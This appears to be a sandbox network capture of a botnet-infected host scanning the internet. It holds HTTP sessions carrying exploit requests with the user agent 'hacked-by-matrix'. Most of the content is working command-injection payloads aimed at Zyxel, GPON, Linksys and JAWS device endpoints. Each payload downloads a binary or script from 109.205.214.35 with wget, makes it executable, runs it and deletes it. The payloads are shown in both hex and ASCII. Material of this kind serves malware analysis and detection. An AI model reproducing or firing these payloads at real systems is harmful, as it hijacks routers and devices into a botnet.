GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 320Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at vmi1735761.contaboserver.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	46216	213.205.32.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.341192961 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.970561981 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.164665937 CET	481	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:17:28 GMT Server: Apache/2.4.6 (CentOS) PHP/5.6.40 Location: http://www.tiscali.it/cgi-bin/ViewLog.asp Content-Length: 249 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 69 73 63 61 6c 69 2e 69 74 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.tiscali.it/cgi-bin/ViewLog.asp">here</a>.</p></body></html>
Mar 21, 2024 05:17:28.164678097 CET	187	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	36784	213.235.93.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.342556953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.969947100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.188757896 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Thu, 21 Mar 2024 04:17:28 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>
Mar 21, 2024 05:17:28.188771963 CET	251	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Thu, 21 Mar 2024 04:17:28 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	37896	213.226.126.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.362948895 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.576586008 CET	359	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Mar 21, 2024 05:17:27.576715946 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	41134	118.193.165.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652575016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	57134	178.245.97.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652605057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	36838	109.59.48.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652612925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	60456	210.112.243.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652637005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	45574	37.8.221.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652689934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	58648	109.56.92.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652746916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	58984	212.121.127.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652746916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	53214	37.255.173.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652776003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	57172	5.47.209.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652842045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	38214	178.145.215.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.652867079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	52166	34.117.184.7	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.862031937 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	44114	75.146.181.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.032681942 CET	33	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 75 66 4b 36 73 57 57 32 35 46 34 43 73 37 43 45 57 34 4d 4d 3f 29 Data Ascii: (Ref.Id: ?sufK6sWW25F4Cs7CEW4MM?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	54594	75.103.82.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.074189901 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
